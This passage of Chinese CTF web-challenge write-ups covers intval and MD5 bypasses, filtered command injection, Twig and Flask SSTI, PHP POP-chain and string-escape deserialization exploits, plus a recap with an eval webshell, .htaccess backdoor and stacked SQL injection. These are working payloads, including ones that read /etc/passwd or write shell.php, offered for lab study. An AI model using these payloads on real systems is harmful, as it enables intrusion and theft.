最后$is=$flag达到我们想要的目的,同时$flag=$flag这对于我们需要的结果不产生影响


[WUSTCTF2020]朴实无华

题目类型:intval 绕过+双层MD5弱比较+空格绕过+cat绕过🪄

image-20251031172037760

扫目录

image-20251031172632137

直接访问,没东西

image-20251031172706790

访问robots.txt

image-20251031173519379

访问,假的flag😒

image-20251031173624969

再抓个包,发现提示/fl4g.php

image-20251031175152930

访问/fl4g.php,得到源码

翻译一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

✔️有三次绕过

1
2
3
4
5
6
7
8
9
10
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

第一个,要去num小于2020,且num+1大于2021.

🔴intval 绕过

  这个函数是强制转换为int类型。经测试以下只适合php7.0及以下版本,7.2.23版本测试不可以(就算是字符串也直接解析科学记数法)

  进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。

1
2
3
4
5
6
7
8
9
10
<?php
$a="3e4";
echo intval($a);
?>
// 3
<?php
$a="3e4";
echo intval($a+1);
?>
//30001

构造 num=3e4

第二个

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
🔴md5==md5($md5)

要求输入的值和它的md5值相同

构造:md5=0e215962017

第三个

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);//看到system,想到命令执行
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

命令执行先看目录

payload:

1
?num=2e4&md5=0e215962017&get_flag=ls

image-20251031175951063

🔴空格和cat过滤
  • 代替cat: more、less、head、tail、sort、ca\t
  • 代替空格:$IFS、${IFS}、$IFS$1、$IFS$9

最终payload:

1
fl4g.php?num=3e4&md5=0e215962017&get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20251031180041835

flag{84eaf188-2679-45a6-8724-4e82d4c3ab18}

[BJDCTF2020]Cookie is so stable

题目类型:SSTI的PHP Twig模板注入🪄

Hint:提示注意cookie

image-20251101184708841

image-20251101184732171

flag:随便注册

image-20251101184812729 image-20251101184909376

试试ssti,成功

image-20251101190156135

尝试命令执行,被过滤

image-20251101190352024

抓个包,发现cookie中有注入点

一个针对twig的攻击载荷:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}}
1
payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20251101192508856


SSTI:
  1. php常见的模板:twig,smarty,blade
  2. python常见的模板:Jinja2, tornado, Django
  3. java常见的引擎:FreeMarker, velocity

重点!!!:ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html

🔴Twig模板

一个针对twig的攻击载荷:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}}

twig常用的注入payload:《TWIG 全版本通用 SSTI payloads》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

[MRCTF2020]Ezpop

题目类型:POP链+文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){//当脚本尝试将对象调用为函数时触发
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){//当对象创建(new)时会自动调用
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//把属性当作字符串使用时触发
return $this->str->source;
}

public function __wakeup(){//使用unserialize时触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){//当对象创建(new)时会自动调用
$this->p = array();
}

public function __get($key){//用于从不可访问的属性读取数据
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

POP链:__wakeup ->__toString->__get->___invoke

魔术方法 触发方法
__construct(): 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
__destruct():1 当对象被销毁时会自动调用。(析构函数)
__wakeup(): 使用unserialize时触发
__sleep(): 使用serialize时触发
__call():1 在对象上下文中调用不可访问的方法时触发(不存在的方法)
__callStatic(): 在静态上下文中调用不可访问的方法时触发
__get(): 用于从不可访问的属性读取数据
__set():1 用于将数据写入不可访问的属性
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__toString():1 把属性当作字符串使用时触发
__invoke():1 当脚本尝试将对象调用为函数时触发

其中的__toString触发的条件较多:

  1. echo ( $obj ) / print( $obj ) 打印时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有 toString 返回的字符串的时候 toString会被调用
  8. 反序列化的对象作为class_exists()的参数的时候
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//exp:
<?php
class Modifier {
protected $var;
public function __construct($value) {
$this->var = $value;
}
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

$d = new Modifier('flag.php');
$c = new Test();
$c->p = $d;
$b = new Show();
$b->str = $c;
$a = new Show();
$a->source = $b;

echo urlencode(serialize($a));
?>

payload:

1
index.php?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00var%22%3Bs%3A9%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

返回:Help Me Find FLAG!

image-20251101201221770

文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Modifier {
protected $var;
public function __construct($value) {
$this->var = $value;
}
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

$d = new Modifier('php://filter/read=convert.base64-encode/resource=flag.php');
$c = new Test();
$c->p = $d;
$b = new Show();
$b->str = $c;
$a = new Show();
$a->source = $b;

echo urlencode(serialize($a));
?>

payload:

1
index.php?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

image-20251101201809405

解码:

1
2
3
4
5
6
<?php
class Flag{
private $flag= "flag{4545e453-3a4f-49db-b718-d10657803061}";
}
echo "Help Me Find FLAG!";
?>

[MRCTF2020]PYWebsite

题目类型:/.DS_Store文件+XFF改本地IP

扫目录,/.DS_Store

image-20251101202736544

在线网站打开使用在线文件查看器在浏览器中在线打开和查看文件

image-20251101203448817

1
2
3
4
5
6
buy.htmlIlocblob code.pngIlocblob cssIlocblob flag.phpIlocblob imgIlocblob imgbwspblob bplist00
]ShowStatusBar[ShowPathbar[ShowToolbar[ShowTabView_ ContainerShowSidebar\WindowBounds[ShowSidebar {{100, 348}, {749, 452}} imgvSrnlong
index.htmlIlocblob
sbwspblob bplist00
]ShowStatusBar[ShowPathbar[ShowToolbar[ShowTabView_ ContainerShowSidebar\WindowBounds[ShowSidebar {{100, 348}, {749, 452}} libIlocblob libbwspblob bplist00
]ShowStatusBar[ShowPathbar[ShowToolbar[ShowTabView_ ContainerShowSidebar\WindowBounds[ShowSidebar {{100, 348}, {749, 452}} libvSrnlong

其中有flag.php文件,访问,提示IP被保存

image-20251101203756394

试试XFF改本地IP

image-20251101204119012

源码:flag{e28e2919-3d9a-4b0d-83ff-6ff806c08106}

image-20251101204158959

[安洵杯 2019]easy_web

题目类型:md5绕过

提示:md5

image-20251101210849731

url有点奇怪,index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,base64解码两次得到:3535352e706e67

16进制解码:555.png,说明可以通过img读获取文件,index.php16进制编码696e6465782e706870,
696e6465782e706870base64编码Njk2ZTY0NjU3ODJlNzA2ODcw,
Njk2ZTY0NjU3ODJlNzA2ODcwbase64编码TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,
传入?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

image-20251101213540669

解码获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

[安洵杯 2019]easy_web 1_安洵杯 easyweb1-CSDN博客

[WesternCTF2018]shrine

题目类型:ssti模板注入(flask)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG') //注册了一个名为FLAG的config

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')//路径
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] //黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

img

  • url_for这个可以用来构造url,接受函数名作为第一个参数
  • get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。

🔴Flask官方文档:https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages

payload1:

这里的current_app意思是当前app,我们访问当前app的config

1
/shrine/{{url_for.__globals__['current_app'].config}}

image-20251103190300767

payload2:

1
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

image-20251103191028413

[安洵杯 2019]easy_serialize_php

题目类型:PHP反序列化字符逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//extract()变量覆盖,删掉原有值,换成新的值

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

​ 在PHP中,可以使用*serialize()函数将数据序列化为字符串,使用unserialize()*函数将字符串反序列化为数据。例如:

1
2
3
4
5
6
7
8
<?php
$Test = array('admin' => 'root', 'flag' => '123456');
$a = serialize($Test);
echo $a; // 输出: a:2:{s:5:"admin";s:4:"root";s:4:"flag";s:6:"123456";}

$b = unserialize($a);
print_r($b); // 输出: Array ( [admin] => root [flag] => 123456 )
?>

先看phpinfo();发现 d0g3_f1ag.php

image-20251103194308223

1
_SESSION['flag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20251103200636856

源码中得到flag信息 /d0g3_fllllllag

image-20251103200623643

image-20251103200948512


post传参构造反序列化:

利用替换函数,替换函数会将上传的字符串替换为空,所以上传flag不会被过滤。

  • 过滤函数:代码中的filter函数会移除序列化字符串中的php,flag,php5,php4,fl1g等关键词。通过注入_SESSION['flagflag'],键名flagflag中的flag会被过滤移除,值中的序列化字符串";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}在过滤后会被解析为新的键值对。

    如果使用_SESSION['flag'],键名中的flag会被完全移除,序列化字符串中键名部分会变成s:4:"",但值中的序列化数据可能不会被正确解析,因为键名移除后可能无法有效破坏序列化结构,导致注入失败。

  • 反序列化漏洞:过滤后的序列化字符串在反序列化时,会解析注入的img键值对,覆盖原有的img键,使$userinfo['img']变为ZDBnM19mMWFnLnBocA==(即d0g3_f1ag.php的base64编码)。

    键值逃逸

    • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
    • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。
    • 所以现在就需要把$_SESSION[‘img’] 的img属性放到花括号外边去。然后在花括号里面放我们需要的img属性,那么他本来要求的img属性就被咱们替换了。
  • 读取flag:在show_image功能中,file_get_contents(base64_decode($userinfo['img']))会读取d0g3_f1ag.php文件内容,从而获取flag。

1
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

🪄payload解释:
首先我们需要构造img属性:

1
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 

其中的ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果
然后在这个属性前面随便加上个序列化字符串(只要是合法的就行),比如:

1
2
3
;s:1:“1”;
;s:2:“10”;
;s:3:“100”;

🪄使用flagflag的解释:绕过黑名单

字符串(用phpflag解释):

1
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过filter过滤后phpflag就会被替换成空
s:7:“phpflag”就变成了 s:7:””
但是这里会出现问题,因为这里要求的字符串的长度为7,但是这里却是空字符串。所以它会向后索取字符串。直到长度正好为7。
细心的话,可以看到 “;s:48: 这个字符串的长度正好为7
当phpflag被替换成空字符串时,原本的键值对就变成:

  • 第一个变量的名: s:7:””;s:48:”;
  • 第一个变量的值: s:1:“1”;
  • 第二个变量的名: s:3:“img”;
  • 第二个变量的值: s:20:“ZDBnM19mMWFnLnBocA==”;

再加上PHP序列化的严格规定,会把后面多余的字符串丢弃。就变成了:

1
a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

🔴PHP反序列化字符逃逸

PHP反序列化字符逃逸是一种通过修改序列化字符串的长度来导致反序列化漏洞的技术。其核心思想是利用字符替换或修改操作,使得序列化字符串的长度发生变化,从而在反序列化过程中产生意外的结果。

反序列化字符逃逸的两种情况

  1. 替换后字符变长

在这种情况下,通过替换操作使得序列化字符串的长度变长,从而导致反序列化时读取的字符数超过预期。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($str) {
return str_replace('bb', 'ccc', $str);
}

class A {
public $name = 'aaaa';
public $pass = '123456';
}

$AA = new A();
$res = filter(serialize($AA));
$c = unserialize($res);
echo $c->pass;
?>

在上述代码中,filter函数将字符串中的bb替换为ccc,导致序列化字符串的长度变长。通过这种方式,可以在不直接修改*$pass*值的情况下,间接修改其值。

  1. 替换后字符变短

在这种情况下,通过替换操作使得序列化字符串的长度变短,从而导致反序列化时读取的字符数少于预期。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function str_rep($string) {
return preg_replace('/php|test/', '', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';

$temp = str_rep(serialize($test));
$fake = unserialize($temp);

echo "name: " . $fake['name'] . "<br>";
echo "sign: " . $fake['sign'] . "<br>";
echo "number: " . $fake['number'] . "<br>";
?>

在上述代码中,str_rep函数将字符串中的php和test替换为空,导致序列化字符串的长度变短。通过这种方式,可以在不直接修改*$number*值的情况下,间接修改其值。

总结:

PHP反序列化字符逃逸的关键在于利用字符替换或修改操作,使得序列化字符串的长度发生变化,从而在反序列化过程中产生意外的结果。通过这种技术,可以在不直接修改变量值的情况下,间接修改其值,从而实现攻击目的。


以上习题知识点整理+查缺补漏

知识点整理:

  1. 图片马命令执行+.htaccess配置文件构造PHP后门

    <script language="php">echo file_get_contents("/flag");</script>

  2. user.ini文件构成PHP后门+图片马命令执行(一句话木马同上)

  3. md5比较bypass的题🪄(sql注入)

  4. 堆叠注入(判断:输入1;’,无报错,是堆叠注入)+HANDLER OPEN语句🪄(sql注入查询表中数据的一种方法)

    handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

  5. WEB-INF是java的WEB应用的安全目录(直接在域名后面加上WEB-INF/web.xml就可以了)

  6. 布尔盲注脚本

  7. pre_replace()正则表达式替换函数🪄

  8. escapeshellarg()和escapeshellcmd()函数绕过🪄

    ' <?php @eval($_POST["hack"]);?> -oG hack.php '

  9. phpmyadmin数据库

    /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

  10. exit()函数,foreach()函数

  11. intval 绕过+双层MD5弱比较

  12. twig的攻击载荷:

    1
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}}
  13. /.DS_Store文件

  14. ssti模板注入(flask)

    url_for这个可以用来构造url,接受函数名作为第一个参数

    get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。

  15. PHP反序列化字符逃逸

  16. 重点!!!:ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html